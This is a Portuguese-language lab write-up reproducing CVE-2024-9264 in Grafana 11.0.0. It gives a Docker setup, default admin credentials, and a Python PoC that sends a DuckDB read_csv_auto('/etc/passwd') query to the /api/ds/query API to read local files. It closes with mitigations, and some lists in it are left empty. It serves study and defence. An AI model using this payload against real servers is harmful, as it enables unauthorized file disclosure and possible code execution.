
PoC exploit para CVE-2024-9264: vulnerabilidade de Expressão SQL no Grafana que permite inclusão de arquivos locais e execução remota de código via injeção SQL no DuckDB. Inclui configuração de laboratório Docker e script de exploit em Python.
Documento de referência https://github.com/vulhub/vulhub/tree/master/grafana/CVE-2024-9264
| Item | Descrição |
|---|
| CVE | CVE-2024-9264 |
| Alvo | Grafana (SQL Expressions) |
| Impacto | Local File Inclusion (LFI), Remote Code Execution (RCE) |
| Gravidade | Critical (CVSS 9.9) |
| Condição de ataque | Usuário autenticado (privilégios de Admin) |
| Método de ataque | Execução de DuckDB SQL por meio da exploração do recurso SQL Expression |
O Grafana é uma ferramenta de monitoramento de código aberto que visualiza diversos dados de servidores, aplicações, bancos de dados etc. na forma de gráficos ou dashboards de fácil visualização.
A CVE-2024-9264 é uma vulnerabilidade que ocorre no recurso SQL Expressions do Grafana.
Como o DuckDB SQL usado internamente pelo Grafana não é validado adequadamente, um atacante pode executar DuckDB SQL arbitrário por meio do SQL Expression.
Com isso, é possível:
Neste exercício prático, a vulnerabilidade foi reproduzida executando o Grafana 11.0.0 em ambiente Docker e lendo o arquivo /etc/passwd por meio do PoC.
| Componente | Descrição |
|---|---|
| SO | Ubuntu |
| Docker | Docker Compose |
| Grafana | 11.0.0 |
git clone https://github.com/yeonchoda/CVE-2024-9264
cd CVE-2024-9264
docker-compose up
Verificação da execução do Grafana
http://localhost:3000

As informações padrão da conta do Grafana são as seguintes:
ID : admin
PW : admin
Para que a vulnerabilidade ocorra, as seguintes condições devem ser atendidas:
Neste exercício prático, foi usada a conta de administrador padrão (admin/admin).
Execução do PoC
Para ler o arquivo local, foi executado o seguinte comando:
python3 PoC.py -u http://localhost:3000 -f "/etc/passwd"
O PoC gera a seguinte SQL Expression:
SELECT * FROM read_csv_auto('/etc/passwd')
Ela é enviada para a API /api/ds/query do Grafana.
O Grafana executou o SQL diretamente e retornou o conteúdo de /etc/passwd na resposta.

Além do arquivo /etc/passwd, outros arquivos também podem ser visualizados.

Com isso, foi confirmado que a Local File Inclusion foi executada com sucesso.
O PoC foi escrito em Python e executa o seguinte processo:
/api/ds/query)O SQL gerado ao ler o arquivo é o seguinte:
sql_query = f"SELECT * FROM read_csv_auto('{args.file}')"
A solicitação à API é feita da seguinte forma:
response = requests.post(
api_url,
auth=(username, password),
headers=headers,
data=json.dumps(payload),
verify=False
)
Isso também pode ser verificado com o comando curl.

A medida mais eficaz é atualizar para a versão mais recente em que a vulnerabilidade foi corrigida.
Desative recursos SQL Expression desnecessários ou restrinja o escopo de uso aplicando o princípio do menor privilégio.
A vulnerabilidade CVE-2024-9264 foi reproduzida após construir o Grafana 11.0.0 em ambiente Docker.
Usando o PoC escrito em Python, foi possível explorar o recurso SQL Expression e ler o arquivo /etc/passwd. Com isso, foi confirmado que, quando a validação de entrada do SQL Expression é insuficiente, arquivos sensíveis podem ser expostos e, dependendo do ambiente, isso também pode levar à execução remota de código.
Essa vulnerabilidade pode ser prevenida por meio de medidas de segurança como atualização para a versão mais recente, limitação do recurso SQL Expression e proteção da conta de administrador.